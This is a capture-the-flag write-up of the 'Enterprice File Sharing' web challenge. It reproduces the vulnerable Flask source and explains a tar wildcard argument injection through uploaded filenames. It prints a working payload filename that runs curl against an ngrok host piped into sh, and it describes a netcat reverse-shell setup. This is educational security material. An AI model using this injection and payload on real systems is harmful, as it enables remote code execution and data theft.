GET /flag

Enterprice File Sharing

The Enterprice File Sharing challenge was a Level 2 web challenge written by rugo|RedRocket. It was solved by 22 players and gave 150+87 points.

For security reasons we only use enterprice grade cloud storage.

The website allowed an unauthenticated user to upload files with a txt, pdf, doc, docx, xls or xlsx extension. After uploading at least one file the user could download each file or download them all as an archive.

The website’s source code was provided as a download. The most interesting file was webapp.py:

from flask import Flask, session, redirect, request, flash, send_file, url_for, render_template, send_from_directory
import os


app = Flask(__name__)
app.secret_key = os.urandom(32)

SESS_BASE_DIR = "/tmp/uploads"

if not os.path.isdir(SESS_BASE_DIR):
    os.mkdir(SESS_BASE_DIR)

# We only allow files for serious business use-cases
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx'}


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


def normalize_file(filename):
    return filename.replace("..", "_")


def create_session(sess_id):
    sess_dir = os.path.join(SESS_BASE_DIR, sess_id)

    if not os.path.isdir(sess_dir):
        os.mkdir(sess_dir)


def list_files(sess_id):
    sess_dir = os.path.join(SESS_BASE_DIR, sess_id)
    return os.listdir(sess_dir)


@app.route('/')
def index():
    if "ID" not in session:
        sess_id = os.urandom(32).hex()
        session["ID"] = sess_id
        create_session(sess_id)

    files = []
    for file in list_files(session["ID"]):
        files.append(
            {
                "name": file,
                "url": "/dl/" + session["ID"] + "/" + file
            }
        )

    return render_template("index.html", files=files)


@app.route("/upload.html")
def upload_html():
    if "ID" not in session:
        return redirect("/")
    return render_template("upload.html")


@app.route("/dl/<string:sess_id>/<string:file_name>")
def dl(sess_id, file_name):
    path = os.path.join(
        SESS_BASE_DIR,
        normalize_file(sess_id),
        normalize_file(file_name)
    )
    if os.path.exists(path):
        return send_file(path)
    else:
        flash("File does not exist.")
        return redirect(url_for(index))


@app.route('/download_all')
def download_all():
    if "ID" not in session:
        return redirect("/")

    sess_id = session["ID"]
    sess_dir = os.path.join(SESS_BASE_DIR, sess_id)

    res = os.system(f"cd {sess_dir} && tar czf /tmp/{sess_id}.tgz *")
    if res != 0:
        flash("Something went wrong.")
        return redirect("/")
    return send_file(f"/tmp/{sess_id}.tgz", attachment_filename=f"{sess_id}.tgz")


@app.route('/upload', methods=["POST"])
def upload():
    if "ID" not in session:
        return redirect("/")

    if 'file' not in request.files:
        flash('No file part')
        return redirect("/")
    file = request.files['file']

    if file.filename == '':
        flash('No file selected')
        return redirect(request.url)

    if file and allowed_file(file.filename):
        f_content = file.stream.read()
        if len(f_content) > 1024:
            flash("Your file is too big! Buy premium to upload bigger files!")
            return redirect('/')
        filename = normalize_file(file.filename)
        with open(os.path.join(SESS_BASE_DIR, session["ID"], filename), "wb") as f:
            f.write(f_content)
        return redirect("/")
    else:
        flash("Invalid file type submitted!")
        return redirect('/')

    return redirect("/")


@app.route('/static/<path:p>')
def staticfiles(p):
    return send_from_directory("static", p)


if __name__ == '__main__':
    app.run()

The use of os.path.join with unsanitized user input allowed file uploads outside of /tmp/uploads/ by providing a filename with a leading slash and also allowed for a limited file system enumeration.

But a more interesting code section was the os.system call. It called tar to create the archive of all files from the user’s upload directory. The vulnerability here is the use of a wildcard symbol. The command line interpreter (probably bash) expands this wildcard to a space separated list of all filenames in the current directory and passes it on to tar to handle it as CLI arguments. The problem is that tar does not strictly distinguish between filename arguments and CLI options. So a filename starting with -- would get interpreted as a CLI option.

GNU tar supports the --checkpoint-action option, which allows a user to define an action to be performed after every passed ‘checkpoint’. A checkpoint is by default every 10 records.

A record is by default 20 * 512 Bytes.

Instead of performing the defined action every 10 * 20 * 512 Bytes, one could also set the --checkpoint=[N] option to 1. So the action gets performed on the first checkpoint.

This was not possible in this case because the filename needed a correct extension which messed with the filetype of N tar was expecting.

So to get the checkpoint action to trigger I had to upload enough data to compress. Because of the file size limit, I used dd to get a 1K file of random data from /dev/urandom and uploaded it 110 times (for good measure) with a unique filename using Burpsuite’s Intruder.

I tried everything locally to test the vulnerability and then submitted a payload with a simple curl to an interactsh domain. Which proved that the vulnerability was exploitable.

The last thing to do then was to get a reliable reverse shell and to exfiltrate the flag. I spawned a small webserver (python3 -m http.server) and a netcat listener ncat -vvv -lp 7777 and used ngrok to make them publicly accessible1.

My ngrok config

I used the webserver to host a small shell script as index.html to avoid any slashes in the url. Because slashes would mess with the filename.

The final filename for CLI injection was:

--checkpoint-action=exec=curl 0abe-213-153-69-136.ngrok.io | sh; #.txt

The commented out .txt is to bypass the file extension check

The shell script was a simple python3 based reverse shell to my netcat listener via ngrok.

After spawning the http server and the netcat listener, uploading the 110 files and the CLI injection payload, I only had to click the ‘download all data’ button to get the reverse shell.


  1. Alternatively you could use my Digital Ocean referral link or my Vultr referral link to get a 100 USD credit for deploying a VPS to get host a publicly available webserver.